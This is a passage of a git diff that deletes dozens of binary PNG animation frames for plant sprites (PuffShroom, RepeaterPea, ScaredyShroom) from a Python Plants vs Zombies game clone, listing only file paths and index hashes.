/dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_10.png deleted file mode 100644 index 4d2f35a62dc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_11.png deleted file mode 100644 index ab68e0b8010..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_12.png deleted file mode 100644 index aad893a7b5d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_13.png deleted file mode 100644 index bc28b53a3bb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_2.png deleted file mode 100644 index 35ae8ef10ba..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_3.png deleted file mode 100644 index 33a971d9504..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_4.png deleted file mode 100644 index 01f44661888..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_5.png deleted file mode 100644 index 0abcb46e1ec..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_6.png deleted file mode 100644 index 2651435ce83..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_7.png deleted file mode 100644 index d4151950104..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_8.png deleted file mode 100644 index d4151950104..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_9.png deleted file mode 100644 index 512436d4281..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroom/PuffShroom_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_0.png deleted file mode 100644 index bfc9b03fb45..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_1.png deleted file mode 100644 index a71fee3ff71..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_10.png deleted file mode 100644 index 76fd171eea5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_11.png deleted file mode 100644 index 38fb04ea8c2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_12.png deleted file mode 100644 index dfee1efe36b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_13.png deleted file mode 100644 index 337fe98c81d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_14.png deleted file mode 100644 index bb26f294958..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_15.png deleted file mode 100644 index 1906e3b00ea..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_16.png deleted file mode 100644 index 3e78a67fabd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_2.png deleted file mode 100644 index 282bb0f9fe3..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_3.png deleted file mode 100644 index dd6f99eb974..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_4.png deleted file mode 100644 index 3ede1b27633..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_5.png deleted file mode 100644 index e87584da7ef..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_6.png deleted file mode 100644 index 027d77a1cac..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_7.png deleted file mode 100644 index 3839a88a247..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_8.png deleted file mode 100644 index 1e6030f3d62..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_9.png deleted file mode 100644 index 313d792d40e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/PuffShroom/PuffShroomSleep/PuffShroomSleep_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_0.png deleted file mode 100644 index c376653fd6a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_1.png deleted file mode 100644 index aa8b38ab6f6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_10.png deleted file mode 100644 index 749d9aa848c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_11.png deleted file mode 100644 index 752d75f2e61..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_12.png deleted file mode 100644 index a89d8d82706..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_13.png deleted file mode 100644 index af71e7569d6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_14.png deleted file mode 100644 index a851368fdff..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_2.png deleted file mode 100644 index ef88c1628f8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_3.png deleted file mode 100644 index 3389119f3bf..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_4.png deleted file mode 100644 index 59a82d95b51..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_5.png deleted file mode 100644 index 80dd8ae0029..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_6.png deleted file mode 100644 index 319a72fe6f6..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_7.png deleted file mode 100644 index b2dc5417428..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_8.png deleted file mode 100644 index e47a9b71cda..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_9.png deleted file mode 100644 index f247a7bb441..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/RepeaterPea/RepeaterPea_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_0.png deleted file mode 100644 index ba733a35938..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_1.png deleted file mode 100644 index 9e5d06711de..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_10.png deleted file mode 100644 index 291b293e713..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_11.png deleted file mode 100644 index 877af5a0711..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_12.png deleted file mode 100644 index 26ca1573628..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_13.png deleted file mode 100644 index d575b3f7233..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_14.png deleted file mode 100644 index fff8380c7ad..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_15.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_15.png deleted file mode 100644 index fff8380c7ad..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_15.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_16.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_16.png deleted file mode 100644 index dcc4818cfec..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_16.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_2.png deleted file mode 100644 index f6c0379401e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_3.png deleted file mode 100644 index 49c0462a135..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_4.png deleted file mode 100644 index 260ea2d962e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_5.png deleted file mode 100644 index cb956610437..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_6.png deleted file mode 100644 index 43648212e88..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_7.png deleted file mode 100644 index 6844992c60b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_8.png deleted file mode 100644 index 026a120b587..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_9.png deleted file mode 100644 index 12473659385..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroom/ScaredyShroom_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/ScaredyShroom/ScaredyShroomCry/ScaredyShroomCry_0.png deleted file mode 100644 index 01291fb0016..00000000000 Binary files a/Add Code 